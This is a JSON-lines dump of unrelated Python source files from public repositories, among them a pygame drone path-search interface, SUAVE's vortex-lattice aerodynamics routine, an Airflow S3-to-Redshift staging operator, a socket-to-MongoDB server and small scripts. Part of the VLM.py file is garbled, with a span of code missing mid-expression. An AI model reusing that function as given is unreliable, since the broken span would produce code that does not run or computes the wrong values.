con.close()\n","repo_name":"atsushikoizumi/aws_db_logical_backup","sub_path":"oracle_sqlserver/backup_sqlserver.py","file_name":"backup_sqlserver.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15130474116","text":"import time\r\n\r\nimport pygame\r\n\r\nfrom domain.utils import *\r\n\r\n\r\ndef printMenu():\r\n print(\"\\n1. Run Greedy algorithm\")\r\n print(\"2. Run A* algorithm\")\r\n print(\"0. BACK\")\r\n\r\n\r\ndef initPyGame():\r\n # init the pygame\r\n pygame.init()\r\n logo = pygame.image.load(\"logo32x32.png\")\r\n pygame.display.set_icon(logo)\r\n pygame.display.set_caption(\"Path in simple environment\")\r\n\r\n # create a surface on screen that has the size of 800 x 480\r\n screen = pygame.display.set_mode((400, 400))\r\n screen.fill(WHITE)\r\n return screen\r\n\r\n\r\ndef displayWithPath(image, path):\r\n # initialize font\r\n myfont = pygame.font.SysFont('Comic Sans MS', 15)\r\n\r\n mark = pygame.Surface((20, 20))\r\n mark.fill(GREEN)\r\n\r\n counter = 0\r\n for move in path:\r\n textsurface = myfont.render(counter.__str__(), False, (0, 0, 0))\r\n image.blit(mark, (move[1] * 20, move[0] * 20))\r\n image.blit(textsurface, (move[1] * 20, move[0] * 20))\r\n counter += 1\r\n return image\r\n\r\n\r\nclass Console:\r\n def __init__(self, controller):\r\n self.controller = controller\r\n\r\n def image(self, colour=BLUE, background=WHITE):\r\n imagine = pygame.Surface((400, 400))\r\n brick = pygame.Surface((20, 20))\r\n brick.fill(BLUE)\r\n imagine.fill(WHITE)\r\n map = self.controller.repo.map\r\n\r\n for i in range(map.n):\r\n for j in range(map.m):\r\n if map.surface[i][j] == 1:\r\n imagine.blit(brick, (j * 20, i * 20))\r\n\r\n return imagine\r\n\r\n def mapWithDrone(self, mapImage, finalX, finalY):\r\n drone = self.controller.repo.drone\r\n\r\n drona = pygame.image.load(\"drona.png\")\r\n\r\n start = pygame.Surface((20, 20))\r\n start.fill(GREEN)\r\n\r\n finish = pygame.Surface((20, 20))\r\n finish.fill(RED)\r\n\r\n mapImage.blit(drona, (drone.y * 20, drone.x * 20))\r\n # mapImage.blit(start, (self.y * 20, self.y * 20))\r\n mapImage.blit(finish, (finalY * 20, finalX * 20))\r\n\r\n return mapImage\r\n\r\n def runConsole(self):\r\n screen = initPyGame()\r\n\r\n while True:\r\n # event handling, gets all event from the event queue\r\n for event in pygame.event.get():\r\n # only do something if the event is of type QUIT\r\n if event.type == pygame.QUIT:\r\n # change the value to False, to exit the main loop\r\n pygame.quit()\r\n\r\n screen.blit(self.mapWithDrone(self.image(), self.controller.finalX, self.controller.finalY), (0, 0))\r\n pygame.display.flip()\r\n\r\n while True:\r\n printMenu()\r\n option = input(\">>>\")\r\n\r\n if option == \"1\":\r\n found, path = self.controller.searchGreedy()\r\n # found, path = self.controller.searchAStar()\r\n if found:\r\n screen.blit(displayWithPath(self.image(), path), (0, 0))\r\n pygame.display.flip()\r\n else:\r\n break\r\n\r\n elif option == \"2\":\r\n found, path = self.controller.searchAStar()\r\n if found:\r\n screen.blit(displayWithPath(self.image(), path), (0, 0))\r\n pygame.display.flip()\r\n else:\r\n break\r\n else:\r\n break","repo_name":"SerbanIoana/University-Projects","sub_path":"Semester4/Artificial Intelligence/assign2_searchDrone/assign2_task1/Console.py","file_name":"Console.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33473506111","text":"import sys\nimport logging\n\nimport brb_commands\ntry:\n import brb_custom_commands\nexcept:\n pass\n\nif __name__ == '__main__':\n try:\n token_file = open('token.txt', 'r')\n except:\n logging.error('token.txt 파일을 열 수 없습니다.')\n sys.exit()\n\n token = token_file.readline().rstrip()\n token_file.close()\n\n if not token:\n logging.error('token.txt 파일이 비었습니다.')\n sys.exit()\n\n logging.basicConfig(level=logging.INFO)\n\n brb_commands.bot.run(token)\n","repo_name":"copyrat90/boj-rand-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9625870689","text":"import math\n\n\ndef is_prime(number):\n if number <= 1:\n return False\n\n for i in range(2, int(math.sqrt(number) + 1)):\n if number % i == 0:\n return False\n\n return True\n\n\ndef prime_factors(n):\n factors = []\n divisor = 2\n\n while n > 1:\n if n % divisor == 0:\n factors.append(divisor)\n n /= divisor\n else:\n divisor += 1\n\n return factors\n\n","repo_name":"Oussama-Maati/my_becode_work","sub_path":"python_challenge/prime_factor/prime_factors.py","file_name":"prime_factors.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38836992193","text":"## @ingroup Methods-Aerodynamics-Common-Fidelity_Zero-Lift\n# VLM.py\n# \n# Created: Oct 2020, E. Botero\n# Modified: May 2021, E. Botero \n# Jul 2021, A. Blaufox \n\n# ----------------------------------------------------------------------\n# Imports\n# ----------------------------------------------------------------------\n\n# package imports \nimport numpy as np \nfrom SUAVE.Core import Data\nfrom SUAVE.Methods.Aerodynamics.Common.Fidelity_Zero.Lift.compute_wing_induced_velocity import compute_wing_induced_velocity\nfrom SUAVE.Methods.Aerodynamics.Common.Fidelity_Zero.Lift.generate_vortex_distribution import generate_vortex_distribution \nfrom SUAVE.Methods.Aerodynamics.Common.Fidelity_Zero.Lift.compute_RHS_matrix import compute_RHS_matrix \n\n# ----------------------------------------------------------------------\n# Vortex Lattice\n# ----------------------------------------------------------------------\n\n## @ingroup Methods-Aerodynamics-Common-Fidelity_Zero-Lift\ndef VLM(conditions,settings,geometry):\n \"\"\"Uses the vortex lattice method to compute the lift, induced drag and moment coefficients.\n \n The user has the option to discretize control surfaces using the boolean settings.discretize_control_surfaces.\n The user should be forwarned that this will cause very slight differences in results for 0 deflection due to\n the slightly different discretization.\n \n The user has the option to use the boundary conditions and induced velocities from either SUAVE\n or VORLAX. See build_RHS in compute_RHS_matrix.py for more details.\n \n By default in Vortex_Lattice, VLM performs calculations based on panel coordinates with float32 precision. \n The user may also choose to use float16 or float64, but be warned that the latter can be memory intensive.\n \n The user should note that fully capitalized variables correspond to a VORLAX variable of the same name\n \n \n Assumptions:\n The user provides either global discretezation (number_spanwise/chordwise_vortices) or\n separate discretization (wing/fuselage_spanwise/chordwise_vortices) in settings, not both.\n The set of settings not being used should be set to None.\n \n The VLM requires that the user provide a non-zero velocity that matches mach number. For\n surrogate training cases at mach 0, VLM uses a velocity of 1e-6 m/s\n\n \n Source:\n 1. Miranda, Luis R., Robert D. Elliot, and William M. Baker. \"A generalized vortex \n lattice method for subsonic and supersonic flow applications.\" (1977). (NASA CR)\n \n 2. VORLAX Source Code\n\n \n Inputs:\n geometry.\n reference_area [m^2]\n wing.\n spans.projected [m]\n chords.root [m]\n chords.tip [m]\n sweeps.quarter_chord [radians]\n taper [Unitless]\n twists.root [radians]\n twists.tip [radians]\n symmetric [Boolean]\n aspect_ratio [Unitless]\n areas.reference [m^2]\n vertical [Boolean]\n origin [m]\n fuselage.\n origin [m]\n width [m]\n heights.maximum [m] \n lengths.nose [m] \n lengths.tail [m] \n lengths.total [m] \n lengths.cabin [m] \n fineness.nose [Unitless]\n fineness.tail [Unitless]\n \n settings.number_spanwise_vortices [Unitless] <---|\n settings.number_chordwise_vortices [Unitless] <---|\n |--Either/or; see generate_vortex_distribution() for more details\n settings.wing_spanwise_vortices [Unitless] <---|\n settings.wing_chordwise_vortices [Unitless] <---|\n settings.fuselage_spanwise_vortices [Unitless] <---|\n settings.fuselage_chordwise_vortices [Unitless] <---| \n \n settings.use_surrogate [Unitless]\n settings.propeller_wake_model [Unitless]\n settings.discretize_control_surfaces [Boolean], set to True to generate control surface panels\n settings.use_VORLAX_matrix_calculation [boolean]\n settings.floating_point_precision [np.float16/32/64]\n \n conditions.aerodynamics.angle_of_attack [radians]\n conditions.aerodynamics.side_slip_angle [radians]\n conditions.freestream.mach_number [Unitless]\n conditions.freestream.velocity [m/s]\n conditions.stability.dynamic.pitch_rate [radians/s]\n conditions.stability.dynamic.roll_rate [radians/s]\n conditions.stability.dynamic.yaw_rate [radians/s]\n \n \n Outputs: \n results.\n CL [Unitless], CLTOT in VORLAX\n CDi [Unitless], CDTOT in VORLAX\n CM [Unitless], CMTOT in VORLAX\n CYTOT [Unitless], Total y force coeff\n CRTOT [Unitless], Rolling moment coeff (unscaled)\n CRMTOT [Unitless], Rolling moment coeff (scaled by w_span)\n CNTOT [Unitless], Yawing moment coeff (unscaled)\n CYMTOT [Unitless], Yawing moment coeff (scaled by w_span)\n CL_wing [Unitless], CL of each wing\n CDi_wing [Unitless], CDi of each wing\n cl_y [Unitless], CL of each strip\n cdi_y [Unitless], CDi of each strip\n alpha_i [radians] , Induced angle of each strip in each wing (array of numpy arrays)\n CP [Unitless], Pressure coefficient of each panel\n gamma [Unitless], Vortex strengths of each panel\n\n \n Properties Used:\n N/A\n \"\"\" \n # unpack settings----------------------------------------------------------------\n pwm = settings.propeller_wake_model\n K_SPC = settings.leading_edge_suction_multiplier\n Sref = geometry.reference_area \n\n # unpack geometry----------------------------------------------------------------\n # define point about which moment coefficient is computed\n if 'main_wing' in geometry.wings:\n c_bar = geometry.wings['main_wing'].chords.mean_aerodynamic\n x_mac = geometry.wings['main_wing'].aerodynamic_center[0] + geometry.wings['main_wing'].origin[0][0]\n z_mac = geometry.wings['main_wing'].aerodynamic_center[2] + geometry.wings['main_wing'].origin[0][2]\n w_span = geometry.wings['main_wing'].spans.projected\n else:\n c_bar = 0.\n x_mac = 0.\n w_span = 0.\n for wing in geometry.wings:\n if wing.vertical == False:\n if c_bar <= wing.chords.mean_aerodynamic:\n c_bar = wing.chords.mean_aerodynamic\n x_mac = wing.aerodynamic_center[0] + wing.origin[0][0]\n z_mac = wing.aerodynamic_center[2] + wing.origin[0][2]\n w_span = wing.spans.projected\n\n x_cg = geometry.mass_properties.center_of_gravity[0][0]\n z_cg = geometry.mass_properties.center_of_gravity[0][2]\n if x_cg == 0.0:\n x_m = x_mac \n z_m = z_mac\n else:\n x_m = x_cg\n z_m = z_cg\n \n # unpack conditions--------------------------------------------------------------\n aoa = conditions.aerodynamics.angle_of_attack # angle of attack \n mach = conditions.freestream.mach_number # mach number\n ones = np.atleast_2d(np.ones_like(mach)) \n len_mach = len(mach)\n \n #For angular values, VORLAX uses degrees by default to radians via DTR (degrees to rads). \n #SUAVE uses radians and its Units system. All algular variables will be in radians or var*Units.degrees\n PSI = conditions.aerodynamics.side_slip_angle \n PITCHQ = conditions.stability.dynamic.pitch_rate \n ROLLQ = conditions.stability.dynamic.roll_rate \n YAWQ = conditions.stability.dynamic.yaw_rate \n VINF = conditions.freestream.velocity \n \n #freestream 0 velocity safeguard\n if not conditions.freestream.velocity.all():\n if settings.use_surrogate:\n velocity = conditions.freestream.velocity\n velocity[velocity==0] = np.ones(len(velocity[velocity==0])) * 1e-6\n conditions.freestream.velocity = velocity\n else:\n raise AssertionError(\"VLM requires that conditions.freestream.velocity be specified and non-zero\") \n\n # ---------------------------------------------------------------------------------------\n # STEPS 1-9: Generate Panelization and Vortex Distribution\n # ------------------ -------------------------------------------------------------------- \n # generate vortex distribution (VLM steps 1-9)\n VD = generate_vortex_distribution(geometry,settings) \n \n if not VD.is_postprocessed:\n raise ValueError('postprocess_VD has not been called since the panels have been modified')\n \n # Unpack vortex distribution\n n_cp = VD.n_cp \n n_sw = VD.n_sw\n CHORD = VD.chord_lengths\n chord_breaks = VD.chordwise_breaks\n span_breaks = VD.spanwise_breaks\n RNMAX = VD.panels_per_strip \n LE_ind = VD.leading_edge_indices\n ZETA = VD.tangent_incidence_angle\n RK = VD.chordwise_panel_number\n \n exposed_leading_edge_flag = VD.exposed_leading_edge_flag\n \n YAH = VD.YAH*1. \n YBH = VD.YBH*1.\n \n XA1 = VD.XA1*1.\n XB1 = VD.XB1*1.\n YA1 = VD.YA1\n YB1 = VD.YB1 \n ZA1 = VD.ZA1\n ZB1 = VD.ZB1 \n \n XCH = VD.XCH\n \n XA_TE = VD.XA_TE\n XB_TE = VD.XB_TE\n YA_TE = VD.YA_TE\n YB_TE = VD.YB_TE\n ZA_TE = VD.ZA_TE\n ZB_TE = VD.ZB_TE \n \n SLOPE = VD.SLOPE\n SLE = VD.SLE\n D = VD.D\n \n # Compute X and Z BAR ouside of generate_vortex_distribution to avoid requiring x_m and z_m as inputs\n XBAR = np.ones(sum(LE_ind)) * x_m\n ZBAR = np.ones(sum(LE_ind)) * z_m\n VD.XBAR = XBAR\n VD.ZBAR = ZBAR\n \n # ---------------------------------------------------------------------------------------\n # STEP 10: Generate A and RHS matrices from VD and geometry\n # ------------------ -------------------------------------------------------------------- \n # Compute flow tangency conditions\n phi = np.arctan((VD.ZBC - VD.ZAC)/(VD.YBC - VD.YAC))*ones # dihedral angle \n delta = np.arctan((VD.ZC - VD.ZCH)/((VD.XC - VD.XCH)*ones)) # mean camber surface angle \n\n # Build the RHS vector \n rhs = compute_RHS_matrix(delta,phi,conditions,settings,geometry,pwm) \n RHS = rhs.RHS*1\n ONSET = rhs.ONSET*1\n\n # Build induced velocity matrix, C_mn\n # This is not affected by AoA, so we can use unique mach numbers only\n m_unique, inv = np.unique(mach,return_inverse=True)\n m_unique = np.atleast_2d(m_unique).T\n C_mn_small, s, RFLAG_small, EW_small = compute_wing_induced_velocity(VD,m_unique,compute_EW=True)\n \n C_mn = C_mn_small[inv,:,:,:]\n RFLAG = RFLAG_small[inv,:]\n EW = EW_small[inv,:,:]\n\n # Turn off sonic vortices when Mach>1\n RHS = RHS*RFLAG\n \n # Build Aerodynamic Influence Coefficient Matrix\n use_VORLAX_induced_velocity = settings.use_VORLAX_matrix_calculation\n if not use_VORLAX_induced_velocity:\n A = np.multiply(C_mn[:,:,:,0],np.atleast_3d(np.sin(delta)*np.cos(phi))) \\\n + np.multiply(C_mn[:,:,:,1],np.atleast_3d(np.cos(delta)*np.sin(phi))) \\\n - np.multiply(C_mn[:,:,:,2],np.atleast_3d(np.cos(phi)*np.cos(delta))) # validated from book eqn 7.42 \n else:\n A = EW\n\n # Compute vortex strength\n GAMMA = np.linalg.solve(A,RHS)\n\n # ---------------------------------------------------------------------------------------\n # STEP 11: Compute Pressure Coefficient\n # ------------------ -------------------------------------------------------------------- \n #VORLAX subroutine = PRESS\n \n # spanwise strip exposure flag, always 0 for SUAVE's infinitely thin airfoils. Needs to change if thick airfoils added\n RJTS = 0 \n \n # COMPUTE FREE-STREAM AND ONSET FLOW PARAMETERS. Used throughout the remainder of VLM\n B2 = np.tile((mach**2 - 1),n_cp)\n SINALF = np.sin(aoa)\n COSALF = np.cos(aoa)\n SINPSI = np.sin(PSI)\n COPSI = np.cos(PSI)\n COSIN = COSALF *SINPSI *2.0\n COSINP = COSALF *SINPSI\n COSCOS = COSALF *COPSI\n PITCH = PITCHQ /VINF\n ROLL = ROLLQ /VINF\n YAW = YAWQ /VINF \n \n # reshape CHORD\n CHORD = CHORD[0,:]\n CHORD_strip = CHORD[LE_ind]\n\n # COMPUTE EFFECT OF SIDESLIP on DCP intermediate variables. needs change if cosine chorwise spacing added\n FORAXL = COSCOS\n FORLAT = COSIN\n \n TAN_LE = (XB1[LE_ind] - XA1[LE_ind])/ \\\n np.sqrt((ZB1[LE_ind]-ZA1[LE_ind])**2 + \\\n (YB1[LE_ind]-YA1[LE_ind])**2) \n TAN_TE = (XB_TE - XA_TE)/ np.sqrt((ZB_TE-ZA_TE)**2 + (YB_TE-YA_TE)**2) # _TE variables already have np.repeat built in \n TAN_LE = np.broadcast_to(np.repeat(TAN_LE,RNMAX[LE_ind]),np.shape(B2)) \n TAN_TE = np.broadcast_to(TAN_TE ,np.shape(B2)) \n \n TNL = TAN_LE * 1 # VORLAX's SIGN variable not needed, as these are taken directly from geometry\n TNT = TAN_TE * 1\n XIA = np.broadcast_to((RK-1)/RNMAX, np.shape(B2))\n XIB = np.broadcast_to((RK )/RNMAX, np.shape(B2))\n TANA = TNL *(1. - XIA) + TNT *XIA\n TANB = TNL *(1. - XIB) + TNT *XIB\n \n # cumsum GANT loop if KTOP > 0 (don't actually need KTOP with vectorized arrays and np.roll)\n GFX = np.tile((1 /CHORD), (len_mach,1))\n GANT = strip_cumsum(GFX*GAMMA, chord_breaks, RNMAX[LE_ind])\n GANT = np.roll(GANT,1)\n GANT[:,LE_ind] = 0 \n \n GLAT = GANT *(TANA - TANB) - GFX *GAMMA *TANB\n COS_DL = (YBH-YAH)[LE_ind]/D\n cos_DL = np.broadcast_to(np.repeat(COS_DL,RNMAX[LE_ind]),np.shape(B2))\n DCPSID = FORLAT * cos_DL *GLAT /(XIB - XIA)\n FACTOR = FORAXL + ONSET\n \n # COMPUTE LOAD COEFFICIENT\n GNET = GAMMA*FACTOR\n GNET = GNET *RNMAX /CHORD\n DCP = 2*GNET + DCPSID\n CP = DCP\n\n # ---------------------------------------------------------------------------------------\n # STEP 12: Compute aerodynamic coefficients \n # ------------------ -------------------------------------------------------------------- \n #VORLAX subroutine = AERO\n\n # Work panel by panel\n SURF = np.array(VD.wing_areas)\n SREF = Sref \n\n # Flip coordinates on the other side of the wing\n boolean = YBH<0. \n XA1[boolean], XB1[boolean] = XB1[boolean], XA1[boolean]\n YAH[boolean], YBH[boolean] = YBH[boolean], YAH[boolean]\n\n # Leading edge sweep. VORLAX does it panel by panel. This will be spanwise.\n TLE = TAN_LE[:,LE_ind]\n B2_LE = B2[:,LE_ind]\n T2 = TLE*TLE\n STB = np.zeros_like(B2_LE)\n STB[B2_LE gamma accordingly\n EW = EW_small[: ,LE_ind, :]\n n_tot_strips = EW.shape[1]\n gamma = np.array(np.split(np.repeat(GAMMA, n_tot_strips, axis=0), len_mach))\n CLE = (EW*gamma).sum(axis=2)\n \n # Up till EFFINC, some of the following values were computed in compute_RHS_matrix().\n # EFFINC and ALOC are calculated the exact same way, except for the XGIRO term.\n # LOCATE VORTEX LATTICE CONTROL POINT WITH RESPECT TO THE\n # ROTATION CENTER (XBAR, 0, ZBAR). THE RELATIVE COORDINATES\n # ARE XGIRO, YGIRO, AND ZGIRO. \n XGIRO = X - CHORD*XLE - np.repeat(XBAR, RNMAX[LE_ind])\n YGIRO = rhs.YGIRO\n ZGIRO = rhs.ZGIRO\n \n # VX, VY, VZ ARE THE FLOW ONSET VELOCITY COMPONENTS AT THE LEADING\n # EDGE (STRIP MIDPOINT). VX, VY, VZ AND THE ROTATION RATES ARE\n # REFERENCED TO THE FREE STREAM VELOCITY. \n VX = rhs.VX\n VY = (COSINP - YAW *XGIRO + ROLL *ZGIRO)\n VZ = (SINALF - ROLL *YGIRO + PITCH*XGIRO)\n\n # CCNTL, SCNTL, SID, and COD were computed in compute_RHS_matrix()\n \n # EFFINC = COMPONENT OF ONSET FLOW ALONG NORMAL TO CAMBERLINE AT\n # LEADING EDGE.\n EFFINC = VX *rhs.SCNTL + VY *rhs.CCNTL *rhs.SID - VZ *rhs.CCNTL *rhs.COD \n CLE = CLE - EFFINC[:,LE_ind] \n CLE = np.where(STB > 0, CLE /RNMAX[LE_ind] /STB, CLE)\n \n return CLE\n\n# ----------------------------------------------------------------------\n# Vectorized cumsum from indices\n# ----------------------------------------------------------------------\ndef strip_cumsum(arr, chord_breaks, strip_lengths):\n \"\"\" Uses numpy to to compute a cumsum that resets along\n the leading edge of every strip.\n \n Assumptions:\n chordwise_breaks always starts at 0\n \"\"\" \n cumsum = np.cumsum(arr, axis=1)\n offsets = cumsum[:,chord_breaks-1]\n offsets[:,0] = 0\n offsets = np.repeat(offsets, strip_lengths, axis=1)\n return cumsum - offsets","repo_name":"suavecode/SUAVE","sub_path":"trunk/SUAVE/Methods/Aerodynamics/Common/Fidelity_Zero/Lift/VLM.py","file_name":"VLM.py","file_ext":"py","file_size_in_byte":26451,"program_lang":"python","lang":"en","doc_type":"code","stars":349,"dataset":"github-code","pt":"61"} +{"seq_id":"6176010185","text":"import socket\nimport mongoconn as CONN\nimport json\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nip='192.168.1.103'\ns.bind((ip,1238))\ns.listen(2)\nwhile True:\n clientsocket, address = s.accept()\n clientsocket.send(bytes(\"connection established\",\"utf-8\"))\n cliente = clientsocket.getsockname()\n print(f\"benvenuto {cliente}\")\n msg= clientsocket.recv(1024)\n print(msg.decode(\"utf-8\"))\n\n #riceve oggetto da client vase\n ogg_json = clientsocket.recv(1024)\n print(ogg_json.decode(\"utf-8\"))\n\n clientsocket.close()\n\n dati = json.loads(ogg_json)\n try:\n CONN.insert_dati(dati)\n except:\n print(\"errore chiamata a funzione CONN\")\n","repo_name":"2dadsgn/smart-vase-server-socket","sub_path":"server-socket.py","file_name":"server-socket.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23390756771","text":"#!/usr/bin/env python\n\nimport sys\nimport math\n\ndebug = False\n\nif len( sys.argv ) < 2:\n print( \"Missing file\" )\n sys.exit(1)\n\ndef load( fname ):\n with open( fname ) as fd:\n cases = int( fd.readline().strip() )\n for i in range( 1, cases + 1 ):\n minn, maxn = tuple( fd.readline().strip().split() )\n result = solve( int( minn ), int( maxn ) )\n print( \"Case #{0}: {1}\".format( i, result ) )\n\n\ndef solve( minn, maxn ):\n found = 0\n fair = set()\n for i in range( minn, maxn + 1 ):\n if debug:\n print( \"{0}/{1}\\r\".format( i - minn, maxn+1-minn ) )\n if isFair( i ) and isFair( math.sqrt( i ) ):\n found += 1\n return found\n\ndef isFair( num ):\n inum = int( num )\n if inum != num:\n return False\n cn = str( inum )\n l = len( cn )\n for i in range( int( l / 2 ) ):\n if cn[i] != cn[l-i-1]:\n return False\n return True\n\n\nif __name__ == \"__main__\":\n load( sys.argv[1] )","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/1111.py","file_name":"1111.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9416424597","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.contrib.hooks.aws_hook import AwsHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\nclass StageToRedshiftOperator(BaseOperator):\n ui_color = '#358140'\n copy_sql = \"\"\"COPY {}\n FROM '{}'\n ACCESS_KEY_ID '{}'\n SECRET_ACCESS_KEY '{}'\n REGION 'us-west-2'\n JSON '{}'\"\"\" \n\n @apply_defaults\n def __init__(self,\n redshift_conn_id=\"\",\n aws_credentials=\"\",\n table=\"\",\n s3_bucket=\"\",\n s3_key=\"\",\n log_json_path=\"\",\n *args, **kwargs):\n\n super(StageToRedshiftOperator, self).__init__(*args, **kwargs)\n\n self.redshift_conn_id = redshift_conn_id\n self.aws_credentials = aws_credentials\n self.table = table\n self.s3_bucket = s3_bucket\n self.s3_key = s3_key\n self.log_json_path = log_json_path\n \n\n def execute(self, context):\n aws_hook=AwsHook(self.aws_credentials)\n credentials = aws_hook.get_credentials()\n redshift = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n self.log.info(\"Clearing data from Staging tables\")\n redshift.run(\"DELETE FROM {}\".format(self.table))\n \n self.log.info(\"Copying data from S3 to Redshift\")\n s3_path = \"s3://{}/{}\".format(self.s3_bucket,self.s3_key)\n if self.s3_key == \"log_data\":\n json_path = \"s3://{}/{}\".format(self.s3_bucket,self.log_json_path)\n else:\n json_path = 'auto'\n formatted_sql = StageToRedshiftOperator.copy_sql.format(self.table,\n s3_path,\n credentials.access_key,\n credentials.secret_key,\n json_path)\n redshift.run(formatted_sql)\n self.log.info(f\"Staging table {self.table} created successfully\")\n\n\n\n\n\n","repo_name":"bramrutha/Data-Pipeline","sub_path":"airflow/plugins/operators/stage_redshift.py","file_name":"stage_redshift.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70164404994","text":"from selenium.webdriver.common.by import By\n\n\nclass WondrousItem:\n def __init__(self, name, driver):\n self.name = name.replace(\"'\", \"\")\n self.source = \"\"\n self.snippet = \"\"\n self.description = \"\"\n self.link = \"\"\n self.driver = driver\n self.fetch_item_info()\n\n def fetch_item_info(self):\n self.driver.get(f\"http://dnd5e.wikidot.com/wondrous-items:{self.name}\")\n page_content = self.driver.find_elements(By.CSS_SELECTOR, value=\"#page-content p\")\n self.source = page_content[0].text\n self.snippet = page_content[1].text\n\n description = [paragraph.text for paragraph in page_content[2:]]\n self.description = \"\\n\\n\".join(description)\n self.link = self.driver.current_url\n\n def print_info(self):\n print(\n f\"\"\"\nNAME : {self.name}\nSOURCE : {self.source}\nSNIPPET: {self.snippet}\n \n{self.description}\n \nMORE INFO: {self.link}\n\n \"\"\"\n )\n","repo_name":"RobertoLJr/100-days-of-python","sub_path":"day-052-dnd-random-wondrous-item-finder/WondrousItem.py","file_name":"WondrousItem.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74203837955","text":"''' Define the Layers '''\r\nimport torch.nn as nn\r\nfrom .sublayers import PositionwiseFeedForward, SBI_MSA, MultiHeadAttention\r\n\r\n\r\n\r\nclass DecoderLayer(nn.Module):\r\n ''' Compose with three layers '''\r\n\r\n def __init__(self, d_model, d_inner, n_head, d_k, d_v, dropout=0.1):\r\n super(DecoderLayer, self).__init__()\r\n self.enc_attn = MultiHeadAttention(n_head, d_model, d_k, d_v, dropout=dropout)\r\n self.pos_ffn = PositionwiseFeedForward(d_model, d_inner, dropout=dropout)\r\n\r\n def forward(self, dec_input, enc_output):\r\n dec_output, dec_enc_attn = self.enc_attn(\r\n dec_input, enc_output, enc_output)\r\n dec_output = self.pos_ffn(dec_output)\r\n return dec_output, dec_enc_attn\r\n\r\nclass TBIFormerBlock(nn.Module):\r\n def __init__(self, d_model, d_inner, n_head, d_k, d_v, dropout=0.1):\r\n super(TBIFormerBlock, self).__init__()\r\n self.sbi_msa = SBI_MSA(n_head, d_model, d_k, d_v, dropout=dropout)\r\n self.pos_ffn = PositionwiseFeedForward(d_model, d_inner, dropout=dropout)\r\n def forward(self, enc_input, trj_dist, n_person, emb):\r\n enc_output, residual, enc_slf_attn = self.sbi_msa(\r\n enc_input, trj_dist, n_person, emb)\r\n enc_output = self.pos_ffn(enc_output)\r\n enc_output += residual\r\n return enc_output, enc_slf_attn\r\n\r\n","repo_name":"xiaogangpeng/TBIFormer","sub_path":"models/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"61"} +{"seq_id":"70145901315","text":"\"\"\"Predicting on the test set with the model\"\"\"\n\nimport pickle\nimport datetime as dt\n\nimport pandas as pd\nimport numpy as np\n\nfrom create_data import build_train_period, build_dataset\n\nfrom data_config import get_prev, get_day_number, get_column_name\nfrom initial_data import (\n sales,\n get_days,\n)\n\nfrom linear_model import metrics, evaluate\n\n\ndef custom_round(float_value, threshold=0.5):\n \"\"\"Round float_value to integer using custom threshold\"\"\"\n\n if float_value <= 0:\n return 0\n\n int_part = int(float_value)\n\n res = -1 * (int_part - float_value)\n\n return int_part if res <= threshold else int_part + 1\n\n\ndef find_thres(preds, real_values, threshold_range, metric_to_follow=\"mse\"):\n \"\"\"Brute-force method to choose the best round threshold\"\"\"\n\n best_metric_to_follow = np.inf # -np.inf dor maximizing task\n best_t = 0\n\n best_metrics = {}\n\n for t in threshold_range:\n\n current_metrics = evaluate(\n list(map(lambda x: custom_round(x, t), preds)), real_values, metrics\n )\n\n if current_metrics[metric_to_follow] <= best_metric_to_follow:\n best_metrics = current_metrics\n best_t = t\n\n return best_t, best_metrics\n\n\ndef predict_step_by_step(\n model, target_list, target_exists=True, threshold=False, save=False\n):\n \"\"\"Validate train model on target_list provided\"\"\"\n\n global sales\n base_columns = sorted(set(sales.columns) - set(get_days(sales)))\n\n # save predictions\n preds_df = pd.DataFrame(index=sales.index)\n\n for target in target_list:\n\n target_col = get_column_name(target)\n\n df_test = build_dataset(\n base_columns=base_columns,\n target_list=[target],\n period=28,\n datasets_num=1,\n test=True,\n )\n\n preds = model.predict(df_test[model.feature_name()])\n\n if threshold:\n preds = list(map(lambda x: custom_round(x, threshold), preds))\n\n preds_df = preds_df.merge(\n pd.DataFrame({target_col: preds}, index=df_test.index),\n left_index=True,\n right_index=True,\n )\n\n if not target_exists:\n sales = sales.merge(\n pd.DataFrame({target_col: preds}, index=df_test.index),\n left_index=True,\n right_index=True,\n )\n\n return preds_df\n\n\ndef validate(preds_df):\n \"\"\"Before or after postprocessing\"\"\"\n global sales, metrics\n all_metrics = {key: list().copy() for key, val in metrics.items()}\n\n for col in preds_df.keys():\n\n cur_metrics = evaluate(preds_df[col], sales[col], metrics)\n {key: all_metrics[key].append(val) for key, val in cur_metrics.items()}\n\n mean_metrics = {key: np.mean(val) for key, val in all_metrics.items()}\n median_metrics = {key: np.median(val) for key, val in all_metrics.items()}\n print(f\"All metrics: {all_metrics}\")\n print(f\"Mean metrics: {mean_metrics}\")\n print(f\"Median metrics: {median_metrics}\")\n return all_metrics\n\n\ndef postprocess_predictions(preds_df, choose_threshold=False):\n # step by step predictions using sales dataframe\n global sales\n\n if choose_threshold:\n thresholds = []\n\n for col in preds_df.keys():\n t, _ = find_thres(preds_df[col], sales[col], np.arange(0.1, 1, 0.05))\n 